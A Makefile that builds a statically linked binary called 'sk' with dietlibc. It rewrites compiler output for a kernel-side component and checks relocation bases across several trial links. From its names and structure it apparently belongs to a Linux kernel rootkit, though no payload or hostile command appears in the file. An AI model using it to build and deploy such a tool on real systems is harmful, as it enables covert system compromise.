CC=dietlibc/diet gcc
CFLAGS=-Wall -fno-builtin -nostdinc -O2 -fomit-frame-pointer -DNODIETREF -I../include -I../include/dietlibc/include
LDFLAGS=
# Try randomize these if you got 'reloc base collision'
BASE1=0x1dfac4fe
BASE2=0x6f9e3c22
BASE3=0x4223ce8a
# this is final base, don't touch unless you don't know
# what you're doing
BASE=0x5deadbee
.c.o:
	$(CC) $(CFLAGS) -c $<
.S.o:
	$(CC) $(CFLAGS) -D__ASSEMBLY__ -c $<
.c.S:
	$(CC) $(CFLAGS) -nostdlib -c -S $< -o tmp.S
	@cat tmp.S | egrep -v "\.section|\.text|\.align|\.p2align" | sed -e 's/[^ ]*\.comm\([^,]*\),\([^,]*\),.*/.globl \1;\1:.zero \2 /g' -e 's/call[ 	]*__do_syscall/call __do_syscall;push %eax/g' > $@
	@rm -f tmp.S
all:	.depend sk
clean:
	rm -f *.o sk core .depend _kernel.S
.depend:
	./deps
include .depend
_entry.o: _entry.S _kernel.S
_kernel.S: _kernel.c
sk:	$(SKOBJ)
	$(CC) $(LDFLAGS) -Ttext=$(BASE1) *.o -o rel1
	$(CC) $(LDFLAGS) -Ttext=$(BASE2) *.o -o rel2
	$(CC) $(LDFLAGS) -Ttext=$(BASE3) *.o -o rel3
	$(CC) $(LDFLAGS) -Ttext=$(BASE) *.o -o sk
	@echo -n "Checking reloc base..."
	@if	[ `./sk reloctest` != `./rel1 reloctest` ] || \
		[ `./sk reloctest` != `./rel2 reloctest` ] || \
		[ `./sk reloctest` != `./rel3 reloctest` ]; then \
		echo reloc base collision!; \
		echo "For $(BASE1):`./rel1 reloctest`"; \
		echo "For $(BASE2):`./rel2 reloctest`"; \
		echo "For $(BASE3):`./rel3 reloctest`"; \
		exit 1; fi
	@rm -f rel?
	@echo Done, `./sk reloctest` relocs
	@ls -la sk
